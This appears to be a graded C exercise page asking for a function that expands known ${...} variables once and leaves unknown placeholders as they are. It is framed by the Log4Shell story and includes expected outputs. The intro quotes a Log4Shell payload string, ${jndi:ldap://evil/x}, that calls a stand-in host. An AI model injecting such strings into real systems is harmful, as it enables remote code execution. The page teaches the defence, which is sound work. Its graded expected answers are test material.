
v0.39: Grademe is back in your terminal.
Try the CLI betaExpand known ${...} variables once, leaving unknown placeholders untouched and never re-expanding a result.
December 2021. Log4Shell. Log4j, a logging library sitting inside untold millions of Java servers, expanded little ${...} snippets it found in log messages, and it followed them recursively, all the way to fetching code over the network. So logging a single string like ${jndi:ldap://evil/x} could hand your server to a stranger. It was everywhere, it was the week before Christmas, and the whole industry patched at once. Here you build the safe version: expand the variables you know, once, and leave everything else exactly as it came in.
expand(out, "hi ${user}")Expected result
[hi neo]For your own tracking. Tests grade your code.
expand(out, "${user}@${env}")Expected result
[neo@prod]expand(out, "${unknown}")Expected result
[${unknown}]Expected files
expand.cAllowed functions
None. Write every helper yourself.
